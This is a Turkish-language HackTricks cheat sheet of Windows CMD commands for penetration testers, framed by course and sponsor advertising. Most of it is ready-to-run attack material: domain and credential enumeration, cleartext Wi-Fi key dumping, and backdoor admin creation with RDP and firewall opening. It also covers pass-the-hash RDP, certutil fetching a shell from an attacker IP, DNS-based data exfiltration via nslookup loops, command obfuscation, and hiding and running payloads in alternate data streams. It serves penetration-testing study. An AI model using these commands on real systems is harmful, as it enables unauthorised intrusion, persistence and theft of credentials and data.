# Temel Win CMD Pentesterlar için {% hint style="success" %} AWS Hacking'i öğrenin ve pratik yapın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ GCP Hacking'i öğrenin ve pratik yapın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricks'i Destekleyin * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** * **Hacking ipuçlarını paylaşın,** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek.
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**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin** **Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, sıkı çalışmanızı ikna edici raporlara dönüştürün. {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} ## Sistem bilgisi ### Sürüm ve Yamanın bilgileri ```bash wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get architecture systeminfo systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information wmic computersystem LIST full #Get PC info wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches wmic qfe list brief #Updates hostname DRIVERQUERY #3rd party driver vulnerable? ``` ### Ortam ```bash set #List all environment variables ``` Bazı çevresel değişkenleri vurgulamak için: * **COMPUTERNAME**: Bilgisayarın adı * **TEMP/TMP:** Geçici klasör * **USERNAME:** Kullanıcı adınız * **HOMEPATH/USERPROFILE:** Ana dizin * **windir:** C:\Windows * **OS**: Windows OS * **LOGONSERVER**: Etki alanı denetleyicisinin adı * **USERDNSDOMAIN**: DNS ile kullanılacak etki alanı adı * **USERDOMAIN**: Etki alanının adı ```bash nslookup %LOGONSERVER%.%USERDNSDOMAIN% #DNS request for DC ``` ### Montajlı diskler ```bash (wmic logicaldisk get caption 2>nul | more) || (fsutil fsinfo drives 2>nul) wmic logicaldisk get caption,description,providername ``` ### [Defender](authentication-credentials-uac-and-efs/#defender) ### Geri Dönüşüm Kutusu ```bash dir C:\$Recycle.Bin /s /b ``` ### Süreçler, Hizmetler & Yazılımlar ```bash schtasks /query /fo LIST /v #Verbose out of scheduled tasks schtasks /query /fo LIST 2>nul | findstr TaskName schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM tasklist /V #List processes tasklist /SVC #links processes to started services net start #Windows Services started wmic service list brief #List services sc query #List of services dir /a "C:\Program Files" #Installed software dir /a "C:\Program Files (x86)" #Installed software reg query HKEY_LOCAL_MACHINE\SOFTWARE #Installed software ``` ## Alan bilgisi ```bash # Generic AD info echo %USERDOMAIN% #Get domain name echo %USERDNSDOMAIN% #Get domain name echo %logonserver% #Get name of the domain controller set logonserver #Get name of the domain controller set log #Get name of the domain controller gpresult /V # Get current policy applied wmic ntdomain list /format:list #Displays information about the Domain and Domain Controllers # Users dsquery user #Get all users net user /domain #List all users of the domain net user /domain #Get information about that user net accounts /domain #Password and lockout policy wmic useraccount list /format:list #Displays information about all local accounts and any domain accounts that have logged into the device wmic /NAMESPACE:\\root\directory\ldap PATH ds_user GET ds_samaccountname #Get all users wmic /NAMESPACE:\\root\directory\ldap PATH ds_user where "ds_samaccountname='user_name'" GET # Get info of 1 users wmic sysaccount list /format:list # Dumps information about any system accounts that are being used as service accounts. # Groups net group /domain #List of domain groups net localgroup administrators /domain #List uses that belongs to the administrators group inside the domain (the group "Domain Admins" is included here) net group "Domain Admins" /domain #List users with domain admin privileges net group "domain computers" /domain #List of PCs connected to the domain net group "Domain Controllers" /domain #List PC accounts of domains controllers wmic group list /format:list # Information about all local groups wmic /NAMESPACE:\\root\directory\ldap PATH ds_group GET ds_samaccountname #Get all groups wmic /NAMESPACE:\\root\directory\ldap PATH ds_group where "ds_samaccountname='Domain Admins'" Get ds_member /Value #Members of the group wmic path win32_groupuser where (groupcomponent="win32_group.name="domain admins",domain="DOMAIN_NAME"") #Members of the group # Computers dsquery computer #Get all computers net view /domain #Lis of PCs of the domain nltest /dclist: #List domain controllers wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_samaccountname #All computers wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_dnshostname #All computers # Trust relations nltest /domain_trusts #Mapping of the trust relationships # Get all objects inside an OU dsquery * "CN=Users,DC=INLANEFREIGHT,DC=LOCAL" ``` ### Günlükler ve Olaylar ```bash #Make a security query using another credentials wevtutil qe security /rd:true /f:text /r:helpline /u:HELPLINE\zachary /p:0987654321 ``` ## Kullanıcılar ve Gruplar ### Kullanıcılar ```bash #Me whoami /all #All info about me, take a look at the enabled tokens whoami /priv #Show only privileges # Local users net users #All users dir /b /ad "C:\Users" net user %username% #Info about a user (me) net accounts #Information about password requirements wmic USERACCOUNT Get Domain,Name,Sid net user /add [username] [password] #Create user # Other users looged qwinsta #Anyone else logged in? #Lauch new cmd.exe with new creds (to impersonate in network) runas /netonly /user\ "cmd.exe" ::The password will be prompted #Check current logon session as administrator using logonsessions from sysinternals logonsessions.exe logonsessions64.exe ``` ### Gruplar ```bash #Local net localgroup #All available groups net localgroup Administrators #Info about a group (admins) net localgroup administrators [username] /add #Add user to administrators #Domain net group /domain #Info about domain groups net group /domain #Users that belongs to the group ``` ### Oturumları listele ``` qwinsta klist sessions ``` ### Şifre Politikası ``` net accounts ``` ### Kimlik Bilgileri ```bash cmdkey /list #List credential vaultcmd /listcreds:"Windows Credentials" /all #List Windows vault rundll32 keymgr.dll, KRShowKeyMgr #You need graphical access ``` ### Kullanıcılarla Süreklilik ```bash # Add domain user and put them in Domain Admins group net user username password /ADD /DOMAIN net group "Domain Admins" username /ADD /DOMAIN # Add local user and put them local Administrators group net user username password /ADD net localgroup Administrators username /ADD # Add user to insteresting groups: net localgroup "Remote Desktop Users" UserLoginName /add net localgroup "Debugger users" UserLoginName /add net localgroup "Power users" UserLoginName /add ``` ## Ağ ### Arayüzler, Yollar, Portlar, Ana Bilgisayarlar ve DNS Önbelleği ```bash ipconfig /all #Info about interfaces route print #Print available routes arp -a #Know hosts netstat -ano #Opened ports? type C:\WINDOWS\System32\drivers\etc\hosts ipconfig /displaydns | findstr "Record" | findstr "Name Host" ``` ### Güvenlik Duvarı ```bash netsh firewall show state # FW info, open ports netsh advfirewall firewall show rule name=all netsh firewall show config # FW info Netsh Advfirewall show allprofiles NetSh Advfirewall set allprofiles state off #Turn Off NetSh Advfirewall set allprofiles state on #Trun On netsh firewall set opmode disable #Turn Off #How to open ports netsh advfirewall firewall add rule name="NetBIOS UDP Port 138" dir=out action=allow protocol=UDP localport=138 netsh advfirewall firewall add rule name="NetBIOS TCP Port 139" dir=in action=allow protocol=TCP localport=139 netsh firewall add portopening TCP 3389 "Remote Desktop" #Enable Remote Desktop reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f netsh firewall add portopening TCP 3389 "Remote Desktop" ::netsh firewall set service remotedesktop enable #I found that this line is not needed ::sc config TermService start= auto #I found that this line is not needed ::net start Termservice #I found that this line is not needed #Enable Remote Desktop with wmic wmic rdtoggle where AllowTSConnections="0" call SetAllowTSConnections "1" ##or wmic /node:remotehost path Win32_TerminalServiceSetting where AllowTSConnections="0" call SetAllowTSConnections "1" #Enable Remote assistance: reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fAllowToGetHelp /t REG_DWORD /d 1 /f netsh firewall set service remoteadmin enable #Ninja combo (New Admin User, RDP + Rassistance + Firewall allow) net user hacker Hacker123! /add & net localgroup administrators hacker /add & net localgroup "Remote Desktop Users" hacker /add & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f & netsh firewall add portopening TCP 3389 "Remote Desktop" & netsh firewall set service remoteadmin enable ::Connect to RDP (using hash or password) xfreerdp /u:alice /d:WORKGROUP /pth:b74242f37e47371aff835a6ebcac4ffe /v:10.11.1.49 xfreerdp /u:hacker /d:WORKGROUP /p:Hacker123! /v:10.11.1.49 ``` ### Paylaşımlar ```bash net view #Get a list of computers net view /all /domain [domainname] #Shares on the domains net view \\computer /ALL #List shares of a computer net use x: \\computer\share #Mount the share locally net share #Check current shares ``` ### Wifi ```bash netsh wlan show profile #AP SSID netsh wlan show profile key=clear #Get Cleartext Pass ``` ### SNMP ``` reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s ``` ### Ağ Arayüzleri ```bash ipconfig /all ``` ### ARP tablosu ```bash arp -A ``` ## İndir Bitsadmin.exe ``` bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1 ``` CertReq.exe ``` CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt ``` Certutil.exe ``` certutil.exe -urlcache -split -f "http://10.10.14.13:8000/shell.exe" s.exe ``` **`Download` için çok daha fazlasını bulmak için** [**https://lolbas-project.github.io**](https://lolbas-project.github.io/) ## Çeşitli ```bash cd #Get current dir cd C:\path\to\dir #Change dir dir #List current dir dir /a:h C:\path\to\dir #List hidden files dir /s /b #Recursive list without shit time #Get current time date #Get current date shutdown /r /t 0 #Shutdown now type #Cat file #Runas runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" #Use saved credentials runas /netonly /user:\ "cmd.exe" ::The password will be prompted #Hide attrib +h file #Set Hidden attrib -h file #Quit Hidden #Give full control over a file that you owns icacls /t /e /p :F icacls /e /r #Remove the permision #Recursive copy to smb xcopy /hievry C:\Users\security\.yawcam \\10.10.14.13\name\win #exe2bat to transform exe file in bat file #ADS dir /r #Detect ADS more file.txt:ads.txt #read ADS powershell (Get-Content file.txt -Stream ads.txt) # Get error messages from code net helpmsg 32 #32 is the code in that case ``` ### Karakter Siyah Listelemeyi Atlatma ```bash echo %HOMEPATH:~6,-11% #\ who^ami #whoami ``` ### DOSfuscation Obfuscate edilmiş bir CMD satırı oluşturur ```powershell git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git cd Invoke-DOSfuscation Import-Module .\Invoke-DOSfuscation.psd1 Invoke-DOSfuscation help SET COMMAND type C:\Users\Administrator\Desktop\flag.txt encoding ``` ### Dinleme adresi ACL'leri Yönetici olmadan [http://+:80/Temporary\_Listen\_Addresses/](http://+/Temporary\_Listen\_Addresses/) adresinde dinleyebilirsiniz. ```bash netsh http show urlacl ``` ### Manuel DNS shell **Saldırgan** (Kali) bu 2 seçenekten birini kullanmalıdır: ```bash sudo responder -I #Active sudo tcpdump -i -A proto udp and dst port 53 and dst ip #Passive ``` #### Kurban **`for /f tokens`** tekniği: Bu, komutları çalıştırmamıza, her satırın ilk X kelimesini almamıza ve bunları sunucumuza DNS üzerinden göndermemize olanak tanır. ```bash for /f %a in ('whoami') do nslookup %a #Get whoami for /f "tokens=2" %a in ('echo word1 word2') do nslookup %a #Get word2 for /f "tokens=1,2,3" %a in ('dir /B C:\') do nslookup %a.%b.%c #List folder for /f "tokens=1,2,3" %a in ('dir /B "C:\Program Files (x86)"') do nslookup %a.%b.%c #List that folder for /f "tokens=1,2,3" %a in ('dir /B "C:\Progra~2"') do nslookup %a.%b.%c #Same as last one #More complex commands for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('whoami /priv ^| findstr /i "enable"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i #Same as last one ``` Çıktıyı **yönlendirebilir** ve ardından **okuyabilirsiniz**. ``` whoami /priv | finstr "Enab" > C:\Users\Public\Documents\out.txt for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('type "C:\Users\Public\Documents\out.txt"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i ``` ## C kodundan CMD çağırma ```c #include /* system, NULL, EXIT_FAILURE */ // When executed by Administrator this program will create a user and then add him to the administrators group // i686-w64-mingw32-gcc addmin.c -o addmin.exe // upx -9 addmin.exe int main (){ int i; i=system("net users otherAcc 0TherAcc! /add"); i=system("net localgroup administrators otherAcc /add"); return 0; } ``` ## Alternatif Veri Akışları Hile Sayfası (ADS/Alternatif Veri Akışı) **Örnekler** [**https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f**](https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f)** adresinden alınmıştır. Orada daha birçok örnek var!** ```bash ## Selected Examples of ADS Operations ## ### Adding Content to ADS ### # Append executable to a log file as an ADS type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe" # Download a script directly into an ADS certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt ### Discovering ADS Content ### # List files and their ADS dir /R # Use Sysinternals tool to list ADS of a file streams.exe ### Extracting Content from ADS ### # Extract an executable stored in an ADS expand c:\ads\file.txt:test.exe c:\temp\evil.exe ### Executing ADS Content ### # Execute an executable stored in an ADS using WMIC wmic process call create '"C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"' # Execute a script stored in an ADS using PowerShell powershell -ep bypass - < c:\temp:ttt ```
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin** **Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürebilirsiniz. {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% hint style="success" %} AWS Hacking'i öğrenin ve pratik yapın:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ GCP Hacking'i öğrenin ve pratik yapın: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricks'i Destekleyin * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.** * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
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